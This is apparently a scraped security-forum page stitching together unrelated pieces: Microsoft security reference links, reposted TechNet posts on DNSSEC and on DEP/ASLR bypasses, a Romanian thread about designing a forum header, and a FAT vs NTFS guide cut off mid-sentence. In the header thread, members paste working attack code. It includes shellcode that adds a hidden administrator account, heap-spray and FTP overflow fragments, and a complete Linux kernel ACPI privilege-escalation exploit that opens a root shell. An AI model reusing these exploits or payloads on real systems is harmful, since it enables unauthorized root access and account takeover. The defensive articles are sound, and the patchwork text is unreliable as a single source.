Nytro

Quick Security Reference - SQL Injection Download: http://download.microsoft.com/download/E/E/7/EE7B9CF4-6A59-4832-8EDE-B018175F4610/Quick%20Security%20Reference%20-%20SQL%20Injection.docx

Quick Security Reference - Cross-Site Scripting Download: http://download.microsoft.com/download/E/E/7/EE7B9CF4-6A59-4832-8EDE-B018175F4610/Quick%20Security%20Reference%20-%20Cross-Site%20Scripting.docx

Quick Security Reference - Exposure of Sensitive Information Download: http://download.microsoft.com/download/E/E/7/EE7B9CF4-6A59-4832-8EDE-B018175F4610/Quick%20Security%20Reference%20-%20Exposure%20of%20Sensitive%20Information.docx

How is DNSSEC related to web site security? murater - 10-24-2010 2:45 PM When you have a web site where Money is changing hands, customer trust has upmost importance. The moment you loose trust you loose your customers. You will need to invest on your security strategy in a multi layered fashion. Here is a short list (not a comprehensive one) of items you should keep in mind: · SSL certificate: You will need too have a SSL web site certificate that you can get from a well trusted authority. As expected the most important thing you will want to look at is their assurances and operations. Asking for a web certificate with highest key length is not enough, its about what policiees are in place. The questions you would need to ask is when your private key gets comprimized, how fast is their CRL updated?, what measures are taken to prevent comprimise of their intermediate and what standards their are applying to their operations. · Securing the environment: You would definetely want to have a secure network, securely configured host and applications. There are plenty of documentation on how to secure your routers, firewalls, locking down your servers and IIS configuration. If you would like to have more informataion please provide feedback and I will provide more information on this one. Get yourself ready for using IPv6. If you are planning for a web site or if you already have one running on older system, consider moving to Windows Server 2008 R2. · Secure Operations: Securing the environment is only the first half of the story. You need to keep it that way. This means you need to monitor your servers, keep them up to date and upgrade them when necessary. Fully secured web server with no recent updates is sitting ducks ready to be used by criminals. · Secure your web application: Its sometimes overlooked to get security review for your web application in place. No matter how good developers you have, you will need to get a security review from a security experts. This is also true on updating your web applications. · Intrusion prevention and detection: Even if you did everything to secure your environment you will need to watch for activities on your web site. You need early warning signs if there is something unusual happening. This would need delicate tuning as these devices can create a lot of noise which can easily become overwhelming. There are different standards that you would need to adhere to and you should also check them out. For example if you want to process credit cards you would need to look at PCI DSS. However there is one more important part that needs your attention which is DNS. DNS protocol has been around for a long time. When it was first introduced security was not a concern. However as Internet grew, attacks based on DNS has increased considerably. The worst part is that as DNS is distributed service you need to trust other entities to provide security for DNS service. When a client asks for a dns name, DNS server will ask several dns servers before returning and answer to the client. If anyone of these servers are comprimized, client is redirected to a different web server which may look just like the original web site but actually is planned to get your username and password or credit card numbers. The best way to solve this problem is a standard that has recently popularized namely DNSSEC (DNS System Security Extensions). DNSSEC is specified in RFCs 4033-4035. It adds new operations to DNS server and client and 4 new DNS records (DNSKEY,RRSIG,NSEC and DS). DNSSec digitally signs all records in a DNSzone. A client will obtain the public key and validate that the responses are authentic. So when a client asks a question to DNS servers the answer is digitally signed. Each time you hop from DNS server to DNS server you know that the answer is genuine as long as signature is valid. DNSSec is a feature of Windows Server 2008 R2 and Windows 7. If you want to learn more about DNSSec on Windows you can find more information here. Even clients that do not understand DNSSEC can stil use the DNS servers in question, albeit without reaping the benefits of validation. One of the most important blockers for wide DNSSEC implementation was top level DNS zones not being signed. As of the time of this writing most of the top level zones have been digitally signed. One of the most important zones is .com and is expected to be signed early next year. This will be a key milestone to make DNSSec mainstream. When you are planning your DNS Infrastrcuture, you should keep in mind the following about DNSSEC: · Dynamic update is not supported. You should use DNSSec on your external DNS entries and not on your internal DNS where clients are using dynamic DNS. · DNSSec is not a lightweight protocol. You will need extra bandwidth and strong servers to handle DNSSec traffic. · Clients will need to understand DSSec messages, which will happen with new operating systems. Do not expect that all clients trying to access your web site is secured the moment you implement DNSSec on your servers. DNSSec will help secure Internet but it will need effort from all implementing parties. It would be necessary to start planning as soon not to be left behind. As always, feedbacks are welcome. Sursa: How is DNSSEC related to web site security? - Murat Cudi Erenturk, Insights of an Architect - Site Home - TechNet Blogs

On the effectiveness of DEP and ASLR swiblog - 8 Dec 2010 9:59 AM DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization) have proven themselves to be important and effective countermeasures against the types of exploits that we see in the wild today. Of course, any useful mitigation technology will attract scrutiny, and over the past year there has been an increasing amount of research and discussion on the subject of bypassing DEP and ASLR [1,2]. In this blog post we wanted to spend some time discussing the effectiveness of these mitigations by providing some context for the bypass techniques that have been outlined in attack research. The key points that should be taken away from this blog post are: * DEP and ASLR are designed to increase an attacker's exploit development costs and decrease their return on investment. * The combination of DEP and ASLR is very effective at breaking the types of exploits we see in the wild today, but there are circumstances where they can both be bypassed. * Exploits targeting Microsoft and third party vulnerabilities have been created that are capable of bypassing DEP and ASLR in the context of browsers and third party applications. * We are currently not aware of any remote exploits that are capable of bypassing DEP and ASLR in the context of in-box Windows services and various other application domains. * Knowledge of potential bypass techniques directly informs our future work to improve the robustness and resiliency of DEP, ASLR, and our other mitigation technologies. DEP effectiveness (without ASLR) In a previous blog post series we went into detail on what DEP is and how it works[part 1, part 2]. In summary, the purpose of DEP is to prevent attackers from being able to execute data as if it were code. This stops an attacker from being able to directly execute code from the stack, heap, and other non-code memory regions. As such, exploitation techniques like heap spraying (of shellcode) or returning into the stack are not immediately possible. The effectiveness of DEP hinges on the attacker not being able to 1) leverage code that is already executable or 2) make the attacker's data become executable (and thus appear to be code). On platforms without ASLR (that is, versions of Windows prior to Windows Vista), it is often straightforward for an attacker to find and leverage code that exists in modules (DLLs and EXEs) that have been loaded at predictable locations in the address space of a process. Return-oriented programming (ROP) is perhaps the most extensive example of how an attacker can use code from loaded modules in place of (or as a stepping stone to) their shellcode [3,1]. In addition to loaded modules, certain facilities (such as Just-In-Time compilers) can allow an attacker to generate executable code with partially controlled content which enables them to embed shellcode in otherwise legitimate instruction streams ("JIT spraying")[2]. The fact that modules load at predictable addresses without ASLR also makes it possible to turn the attacker's data into executable code. There are a variety of ways in which this can be accomplished, but the basic approach is to use code from loaded modules to invoke system functions like VirtualAlloc or VirtualProtect which can be used to make the attacker's data become executable. Summary: DEP breaks exploitation techniques that attackers have traditionally relied upon, but DEP without ASLR is not robust enough to prevent arbitrary code execution in most cases. ASLR effectiveness (without DEP) Attackers often make assumptions about the address space layout of a process when developing an exploit. For example, attackers will generally assume that a module will be loaded at a predictable address or that readable/writable memory will exist at a specific address on all PCs. ASLR is designed to break these assumptions by making the address space layout of a process unknown to an attacker who does not have local access to the machine. This prevents an attacker from being able to directly and reliably leverage code in loaded modules. The effectiveness of ASLR hinges on the entirety of the address space layout remaining unknown to the attacker. In some cases memory may be mapped at predictable addresses across PCs despite ASLR. This can happen when DLLs or EXEs load at predictable addresses because they have not opted into ASLR via the /DYNAMICBASE linker flag. Prior to Internet Explorer 8.0 it was also possible for attackers to force certain types of .NET modules to load at a predictable address in the context of the browser[6]. Attackers can also use various address space spraying techniques (such as heap spraying or JIT spraying) to place code or data at a predictable location in the address space. In cases where the address space is initially unpredictable an attacker can attempt to discover the location of certain memory regions through the use of an address space information disclosure or through brute forcing[5]. An address space information disclosure occurs when an attacker is able to coerce an application into leaking one or more address (such as the address of a function inside a DLL). For example, this can occur if an attacker is able to overwrite the NUL terminator of a string and then force the application to read from the string and provide the output back to the attacker [4]. The act of reading from the string will result in adjacent memory being returned up until a NUL terminator is encountered. This is just one example; there are many other forms that address space information disclosures can take. Brute forcing, on the other hand, can allow an attacker to try their exploit multiple times against all of the possible addresses where useful code or data may exist until they succeed. Brute forcing attacks, while possible in some cases, are traditionally not practical when attacking applications on Windows because an incorrect guess will cause the application to terminate. Applications that may be subjected to brute force attacks (such as Windows services and Internet Explorer) generally employ a restart policy that is designed to prevent the process from automatically restarting after a certain number of crashes have occurred. It is however important to note that there are some circumstances where brute force attacks can be carried out on Windows, such as when targeting an application where the vulnerable code path is contained within a catch-all exception block. Certain types of vulnerabilities can also make it possible to bypass ASLR using what is referred to as a partial overwrite. This technique relies on an attacker being able to overwrite the low order bits of an address (which are not subject to randomization by ASLR) without perturbing the higher order bits (which are randomized by ASLR). Summary: ASLR breaks an attacker's assumptions about where code and data are located in the address space of a process. ASLR can be bypassed if the attacker can predict, discover, or control the location of certain memory regions (particularly DLL mappings). The absence of DEP can allow an attacker to use heap spraying to place code at a predictable location in the address space. DEP+ASLR effectiveness In the previous sections we described the effectiveness of DEP and ASLR in isolation from one another. In reality, DEP and ASLR are designed to be used in combination on Windows Vista and beyond. Both of these mitigations are enabled in the context of important applications like Internet Explorer 8, Microsoft Office 2010, and in-box services and applications that ship with the OS. This means that attackers looking to exploit vulnerabilities in these environments will need to overcome both obstacles (in addition to numerous other mitigations). The DEP+ASLR bypass techniques that are currently being explored in attack research have primarily focused on identifying and refining methods of bypassing ASLR. Once ASLR has been bypassed it is typically straightforward to bypass DEP using established techniques such as return-oriented programming. At this point in time there have been multiple exploits which have demonstrated that it is possible in practice to bypass the combination of DEP+ASLR in the context of certain application domains (such as browsers and third party applications). These exploits have bypassed ASLR through the use of predictable DLL mappings, address space information disclosures, or JIT spraying and have bypassed DEP through the use of return-oriented programming (or some simpler variant thereof) or JIT spraying. In many cases these exploits have relied on predictable mappings caused by DLLs that ship with third party components or by JIT compilation capabilities included in non-default browser plugins. This means that these exploits will fail if the required components are not installed. Although exploits have been written which are capable of bypassing the combination of DEP+ASLR, the vast majority of exploits that have been written to date do not have such capabilities and instead strictly target applications and platforms that do not enable these mitigations. This affirms our position that DEP+ASLR are strong countermeasures for the types of attacks that we see in the wild today despite weaknesses in their current implementations. Summary: DEP+ASLR are most effective when used in combination; however, their combined effectiveness is heavily dominated by the effectiveness of ASLR. Exploits have been developed that are able to bypass DEP+ASLR in the context of browsers and third-party applications. Nevertheless, the vast majority of exploits written to date do not attempt to bypass the combination of DEP+ASLR. Future directions As we look toward the future it is clear that attackers will continue to become increasingly incentivized to attempt to develop exploits which are capable of bypassing the combination of DEP+ASLR. Our understanding of the ways that DEP and ASLR can be bypassed directly informs the future work we are doing to improve the robustness and resiliency of our mitigation technologies. Although this work is ongoing there are two noteworthy improvements that we would like to highlight. The first improvement can be seen in the latest version of the Enhanced Mitigation Experience Toolkit (EMET) which now includes support for a feature known as mandatory ASLR. This feature enforces ASLR for all modules regardless of whether or not they are ASLR aware (which effectively eliminates predictable DLL mappings when enabled on Windows Vista and above). This resolves the ASLR bypass technique we described previously and it has been used in practice to successfully mitigate exploits in the wild. The second improvement consists of JIT spraying mitigations that have been directly incorporated into the JavaScript JIT compiler that was recently released in the Internet Explorer 9 beta. These mitigations act as countermeasures against the JIT spraying techniques that have been described in attack research. These two improvements help to further illustrate our belief that DEP, ASLR, and exploit mitigations in general are extremely important due to the impact they have on the cost of developing reliable exploits and due to the knowledge demands they place on attackers. Mitigations such as these enable us to be proactive about providing additional protection to customers who may be running software with an unknown or unpatched vulnerability. Ultimately our goal with exploit mitigations is to reach a point where vulnerabilities become too expensive to reliably exploit - and this is a goal we are actively working toward. Recommendations For enterprises and users We recommend that enterprises and users enable DEP for all critical applications and run a version of Windows that supports ASLR (such as Windows 7). The Enhanced Mitigation Experience Toolkit (EMET) can be used to easily enable DEP and other mitigations for a process. You can read more about EMET here: The Enhanced Mitigation Experience Toolkit For ISVs The effectiveness of mitigations like DEP and ASLR across the Windows ecosystem is heavily contingent on ISV adoption. ISVs that are interested in more details on how to enable DEP, ASLR, and other mitigations in their products are encouraged to refer to the guidance below: Windows ISV Software Security Defenses Matt Miller, MSEC Security Science References [1] Dino Dai Zovi. Practical Return-Oriented Programming. April, 2010. [2] Dionysus Blazakis. Interpreter Exploitation: Pointer Inference and JIT Spraying. February, 2010. [3] Hovav Shacham. Return-Oriented Programming: Exploits Without Code Injection. August, 2008. [4] Peter Vreugdenhil. Pwn2Own 2010 Windows 7 Internet Explorer 8 Exploit. March, 2010. [5] Hovav Shacham et al. On the Effectiveness of Address-Space Randomization. 2004. [6] Alexander Sotirov and Mark Dowd. Bypassing Browser Memory Protections. August, 2008. *Posting is provided "AS IS" with no warranties, and confers no rights.* Sursa: On the effectiveness of DEP and ASLR - Security Research & Defense - Site Home - TechNet Blogs

Nu, vechiul logo, cu cei 3 crai, tot acel scut sa ramana.

Mai baieti, sa fim seriosi, ganditi prea mult.

E bun asta: Numai sa fie fara bordura, sau sa aiba 1-2 pixeli maxim. Modificare: Pune mai bine vechiul logo, cel din partea dreapta al vechiului header.

Pune link sa radem si noi.

E mai bun primul. Cred ca ar fi mai bine sa muti textul mai sus si sa scrii si "Security Research" sub el, ceva mai mic. In rest imi place.

Doar sa le mai misti putin sa se vada mai bine, sa nu mai fie asa mari spatiile goale. Pe aripi nu stiu, cred ca ar merge 2 globuri. Si cred ca o sa iti trimita PSD-ul daca ii trimiti un PM. PS: Bravo. Modificare: Ar mai trebui si ceva verde, sa se asorteze cu tema. Ori Romanian... cu verde, ori acele coduri, nu stiu

Ultimu e cel mai frumos. Ca mic detaliu trebuie aranjate putin acele texte, sa se vada mai bine. Si sa pui cate ceva pe aripi. Si poate scutu ceva mai mare.

Da, arata mai bine asa. Ala cred ca XML e. Ar merge mai bine ceva de forma: "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23" "\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca" "\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63" "\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20" "\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x73" "\x65\x63\x75\x69\x64\x30\x20\x6d\x30\x6e" "\x6b\x20\x2f\x61\x64\x64\x20\x26\x26\x20" "\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67" "\x72\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e" "\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20" "\x73\x65\x63\x75\x69\x64\x30\x20\x2f\x61" "\x64\x64\x00" // first heap spray var base = dup_str(to_bin("0c0c0c0900000008000000730073030100000000010000730073030c"), 512+6); var arr = [] for(var i = 0; i < 60000; i++) { arr[i] = ["" + base].join(""); } // second heap spray w/ shellcode var nops = dup_str(to_bin("0c0c0c0c"), 4096+6); unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; static int __attribute__((regparm(3))) getroot(void * file, void * vma) { commit_creds(prepare_kernel_cred(0)); return -1; } void __attribute__((regparm(3))) trampoline() { #ifdef __x86_64__ asm("mov $getroot, %rax; call *%rax;"); #else asm("mov $getroot, %eax; call *%eax;"); #endif } sub exploit1 { for ($counter=$targets[$ttype][3]; $counter < $targets[$ttype][4]; $counter += 250) { printf("[$target] CURRENT OFFSET = %08x :pP\n", $counter); $ret = pack("V", $counter); $align = $targets[$ttype][5]; my $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => 21, Proto => 'tcp'); $stack = "KCOPERULEZKCOPERULEZKC" . $ret . "\x90" x 500 . $shellcode . "A" x 10; $v = <$sock>; print $sock "\x00" x $align . "\xff" . $stack . "\n"; close($sock); } } for b in $(cd "${CONFDIR}/scripts" && find . \ -regextype posix-extended -regex '.*/[[:alnum:]_]+$' -type f); do [ -d "${DESTDIR}/scripts/$(dirname "${b}")" ] \ || mkdir -p "${DESTDIR}/scripts/$(dirname "${b}")" cp -p "${CONFDIR}/scripts/${b}" "${DESTDIR}/scripts/$(dirname "${b}")/" done 004010A2 . 8B45 08 mov eax, dword ptr ss:[ebp+8] 004010A5 . 05 30000000 add eax, 30 004010AA . E9 05000000 jmp temp1.004010B4 004010AF . E9 02000000 jmp temp1.004010B6 004010B4 > 40 inc eax 004010B5 . 48 dec eax 004010B6 > 8945 84 mov dword ptr ss:[ebp-7C], eax 004010B9 . 8B45 84 mov eax, dword ptr ss:[ebp-7C] 004010BC . 8D65 F4 lea esp, dword ptr ss:[ebp-C] Chestii din astea mai dragute

Da, ultimul, dar nu prea imi place scutul. Si cod HTML... Nu e prea 1337. Macar un cod in C/C++ sa fie, luati dintr-un exploit de Local Root de Kernel ceva.

Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation Author: Jon Oberheide /* * american-sign-language.c * * Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347 * * This custom_method file allows to inject custom ACPI methods into the ACPI * interpreter tables. This control file was introduced with world writeable * permissions in Linux Kernel 2.6.33. * * Usage: * * $ gcc american-sign-language.c -o american-sign-language * $ ./american-sign-language * [+] resolving required symbols... * [+] checking for world-writable custom_method... * [+] checking for an ACPI LID device... * [+] poisoning ACPI tables via custom_method... * [+] triggering ACPI payload via LID device... * [+] triggering exploit via futimesat... * [+] launching root shell! * # id * uid=0(root) gid=0(root) groups=0(root) * * Notes: * * This vuln allows us to write custom ACPI methods and load them into the * kernel as an unprivileged user. We compile some fancy ASL down to AML * that overrides the ACPI method used when the status of the LID device is * queried (eg. 'open' or 'closed' lid on a laptop). When the method is * triggered, it overlays an OperationRegion on the physical address where * sys_futimesat is located and overwrites the memory via the Store to * escalate privileges whenever sys_futimesat is called. * * The payload is 64-bit only and depends on the existence of a LID device * (eg. laptop), but the exploit will still tell you if you're vulnerable * regardless. If you don't know how to work around these limitations, you * probably shouldn't be running this in the first place. * * Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <inttypes.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/utsname.h> /* * The ASL payload looks like: * * DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) { * Method (\_SB.LID._LID, 0, NotSerialized) { * OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392) * Field(KMEM, AnyAcc, NoLock, Preserve) { * HACK, 0x392 * } * Store (Buffer () { * 0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec, * 0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24, * 0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf, * 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, * 0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff, * 0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9, * 0xc3 }, HACK) * Return (One) * } * } * * Feel free to `iasl -d` this is you don't trust me! ;-) */ #define PAYLOAD_AML \ "\x53\x53\x44\x54\x90\x00\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c" \ "\x21\x05\x09\x20\x14\x4b\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x4c\x49" \ "\x44\x5f\x5f\x4c\x49\x44\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\xe0" \ "\x61\x17\x01\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41" \ "\x43\x4b\x42\x39\x70\x11\x34\x0a\x31\x55\x48\x89\xe5\x53\x48\x83" \ "\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24" \ "\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7" \ "\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01" #define PAYLOAD_LEN 144 #define CUSTOM_METHOD "/sys/kernel/debug/acpi/custom_method" #define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state" unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } int main(int argc, char **argv) { int ret; FILE *fp; char buf[64]; struct stat sb; char payload[PAYLOAD_LEN] = PAYLOAD_AML; unsigned long sys_futimesat, prepare_kernel_cred, commit_creds; printf("[+] resolving required symbols...\n"); sys_futimesat = get_symbol("sys_futimesat"); if (!sys_futimesat) { printf("[-] sys_futimesat symbol not found, aborting!\n"); exit(1); } prepare_kernel_cred = get_symbol("prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("[-] prepare_kernel_cred symbol not found, aborting!\n"); exit(1); } commit_creds = get_symbol("commit_creds"); if (!commit_creds) { printf("[-] commit_creds symbol not found, aborting!\n"); exit(1); } printf("[+] checking for world-writable custom_method...\n"); ret = stat(CUSTOM_METHOD, &sb); if (ret < 0) { printf("[-] custom_method not found, kernel is not vulnerable!\n"); exit(1); } if (!(sb.st_mode & S_IWOTH)) { printf("[-] custom_method not world-writable, kernel is not vulnerable!\n"); exit(1); } printf("[+] checking for an ACPI LID device...\n"); ret = stat(HEY_ITS_A_LID, &sb); if (ret < 0) { printf("[-] ACPI LID device not found, but kernel is still vulnerable!\n"); exit(1); } if (sizeof(sys_futimesat) != 8) { printf("[-] payload is 64-bit only, but kernel is still vulnerable!\n"); exit(1); } sys_futimesat &= ~0xffffffff80000000; memcpy(&payload[63], &sys_futimesat, 4); memcpy(&payload[101], &commit_creds, 4); memcpy(&payload[108], &prepare_kernel_cred, 4); printf("[+] poisoning ACPI tables via custom_method...\n"); fp = fopen(CUSTOM_METHOD, "w"); fwrite(payload, 1, sizeof(payload), fp); fclose(fp); printf("[+] triggering ACPI payload via LID device...\n"); fp = fopen(HEY_ITS_A_LID, "r"); fread(&buf, 1, sizeof(buf), fp); fclose(fp); printf("[+] triggering exploit via futimesat...\n"); ret = futimesat(0, "/tmp", NULL); if (ret != -1 || errno != EDOTDOT) { printf("[-] unexpected futimesat errno, exploit failed!\n"); exit(1); } if (getuid() != 0) { printf("[-] privileges not escalated, exploit failed!\n"); exit(1); } printf("[+] launching root shell!\n"); execl("/bin/sh", "/bin/sh", NULL); } Modificare: Nu merge pe Backtrack 4 R2 (2.6.35.8): root@bt:~# ./exploit [+] resolving required symbols... [+] checking for world-writable custom_method... [-] custom_method not found, kernel is not vulnerable!

Eu cred ca acele cranii sunt de fapt servere Google si ca de fapt Google vrea sa puna stapanire pe lume, si aceasta prin dorinta va distruge lumea.

Nu am nici un psd, nici macar PNG cu scutul, nu am nimic... Cred ca ar fi mai bine unul nou, cred ca ati putea face ceva mai frumos

Cred ca a venit vremea ca headerul forumului sa fie schimbat: 1) Nu mai avem 20k membri 2) E Craciunul 3) Vine noul an, sa ne prinda cu un header nou, de sarbatori Problema e ca noi, cei din staff, ori nu prea ne pricepem ori nu avem timpul si rabdarea necesara pentru a realiza un astfel de header. Asadar, cine ar putea face unul nou? Cine ar putea face unul dragut, deci cineva care se pricepe cat de cat, daca doreste sa faca, sa il posteze aici. Si vom discuta, ce e bine, ce nu e, ce ar trebui schimbat. Vedem noi. Cateva idei: mie imi place ideea de scut, ceva legat de "security" ar fi dragut, poate un shellcode sau un mic cod in limbajul xxx, e Craciunul, deci trebuie neaparat o craciunita, sau doua-trei... Cred ca o sa va descurcati, aveti imaginatie mai multa decat mine. Bafta.

Urat, Craciun "albastru"... Dar imi place scutul de sus.

Maxim 300. Hai, 500 ca e Craciunul. Sa fim realisti.

Da, oameni "patrioti"... Asa sunt 98% dintre romani. Din cauza mentalitatii anti-romaniste e Romania asa.

Basic Guide to FAT vs. NTFS Windows XP offers choices of File Systems... by Tom Bair Besides being the first Micosoft OS (Operating System) to feature an integrated Windows NT and Windows 98 kernel (the core program code of an OS), Windows XP Home Edition is also the first time home users have had the option to use the NTFS (New Technology File System). The File System provides a foundation for storing data on a hard drive. Understanding the strengths and weaknesses of each File System can help you in choosing which one is best for you. What Is A File System? There is more than one way to store information on your hard drive. In addition to NTFS, XP supports the FAT-16 (16-bit File Allocation Table) and the FAT-32 (32-bit File Allocation Table) file systems. Both versions of FAT are simpler and more direct than NTFS but not as reliable or secure. Due to it's reliability and security, NTFS has long been the file system of choice in business environments. With NTFS, system administrators can exercise some control over what users do on a workstation. And when problems occur, NTFS is better able to recover without losing data. FAT has traditionally been the file system of choice for personal or home computers. Yet with the inclusion of NTFS support in Windows XP, significant numbers of home users are making the switch to enjoy the extra security and reliability NTFS provides. File System Compatibility File System compatibility becomes important if you plan to install more than on OS. In order to install more than one OS, you'll need to partition your hard drive. Windows treats each logical partition as a separate drive and each can contain its own File System. In general, systems that can support NTFS also support FAT: Windows NT Windows 2000 Windows XP Home and Pro Older consumer versions of Windows only support FAT: Windows 95 Windows 98 Windows 98 Second Edition Windows ME This means Windows ME installed on a FAT partition can't access data stored in an NTFS partition. XP, on the other hand, can read and write data from both NTFS partitions and FAT partitions. Note that WinNT does have some compatibility problems with newer versions of both FAT and NTFS. Although WinNT supports the older FAT16 file systems, it does not support FAT32. WinNT also has NTFS problems. Unless you have Service Pack 4 installed, you won't be able to read new NTFS 5.0 partitions that Windows 2000 and Windows XP use. Understanding A File System Before we discuss FAT and NTFS in detail, let's cover a few basics for those of us who are less-informed. Both types of file systems divide data into units called clusters. Each cluster can only hold one file, yet one file may span several clusters; but any empty space left in the last cluster remains vacant. Smaller cluster sizes are more efficient from a storage perspective (they make for less leftover space), but they're less efficient in terms of performance. Larger clusters can hold more data, which means less work for the PC and slightly better performance. Cluster size also plays a role in deciding how large a hard drive a system can support. Overall, cluster size increases with available hard drive space. On a newly installed system, related clusters are stored close together. As time passes, however, these clusters can become fragmented and find themselves scattered all over the hard drive. Most versions of Windows include Disk Defragmenter, a utility that examines data in each cluster and reorganizes it so related clusters are placed closer together on the hard drive. Fragmentation is a problem for both FAT and NTFS partitions. ---------------Cluster Chart--------------- Smaller clusters can squeeze more data onto a drive, but larger clusters provide better performance. Generally, 4KB clusters provide a nice balance between performance and storage efficiency. Below are the default cluster sizes for the FAT16, FAT32, and NTFS under Windows XP. Partition Size...........Cluster Size FAT16 16MB - 127MB................2KB 128MB - 255MB..............4KB 256MB - 511MB..............8KB 512MB - 1,023MB...........16KB 1,024MB - 2,048MB........32KB 2,048MB - 4,096MB........64KB FAT32 512MB - 8,191MB..........4KB 8,192MB - 16,383MB.....8KB 16,384MB - 32,767MB...16KB 32,767MB+..................32KB NTFS 0MB - 512MB..............512 bytes 513MB - 1,024MB........1KB 1,025MB - 2,048MB.....2KB 2,049MB+..................4KB Facts On FAT The most basic Windows file system is known as FAT. It gets its name from the file allocation table stored near the beginning of the drive. The FAT keeps track of every file saved on its drive or partition. When you save data or a file to the hard drive, the system consults the FAT to find empty clusters. After it saves the information, it modifies the FAT to reflect the name of the file saved and the clusters it saved the file to. When opening the document, the system searches through the FAT for the file name, finds the associated clusters where the file is stored, and reads the information contained in those clusters. As I stated earlier, there are two primary varieties of FAT. FAT16, or 16-bit FAT, has been around for many years. Then FAT32, or 32-bit FAT replaced FAT16. FAT16. FAT16 is a 16-bit file system because it identifies clusters that are 16 bits (or digits) long. There are quite a few possible combinations with 16 slots to work with, but there is a limit. Because FAT cluster sizes vary depending on how much drive space the system needs to catalog with its range of available names, and because FAT16 can't support as many clusters as FAT32, it needs larger clusters to cover the same amount of space. To format an entire 1BG partition, as example, FAT16 clusters must expand to roughly 32KB, which is too large for efficient storage. XP supports FAT16 clusters up to 64KB in size. Given that FAT16 can only support 65,536 clusters, you can't use FAT16 on a partition larger than 4GB. Of course, 64KB clusters are extremely inefficient. About the only thing using FAT16 today are floppy drives and their 1.44MB disks. FAT32. FAT32 made it's first appearance in Windows 95 OSR2 (Original equipment manufacturer Service Release 2; a version of Windows 95 made available exclusively to manufacturers and never sold at retail). Windows 98 was the first retail version of Windows to include support for FAT32. Because FAT32 is a 32-bit file system, it can address more clusters than FAT16. As a result, FAT32 can use smaller clusters for better storage efficiency. It can also support larger partitions, up to 8TB (terabytes) in size. FAT32 was made compatible (as much as possible) with FAT16, but some changes were made behind the scenes. As a result, some software, such as older drive utilities, will not work on hard drives using FAT32 file systems. Hard drive compression utilities, such as DriveSpace and DriveSpace 3 are incompatible with FAT32. NTFS For several years now NTFS has been well-known for its security and reliability. Windows XP Home Edition marks the first time home users get to use this more robust file system. However, there's more to NTFS than just laying out data on a hard drive. Master File Table If NTFS had anything in common with FAT, it would be the MFT (Master File Table). The MFT is very close to the file allocation table in FAT, only much more complicated. The MFT stores file attributes for every file stored on the NTFS partition. File attributes describe everything there is to know about a file. In NTFS, even the data contained in a file is a file attribute. Additional file attributes include the file's name, location, and security information. When possible, NTFS stores all the file attributes, including the file's data, in the MFT. Often there is not enough room to accommodate all the attributes in the MFT so the data attribute 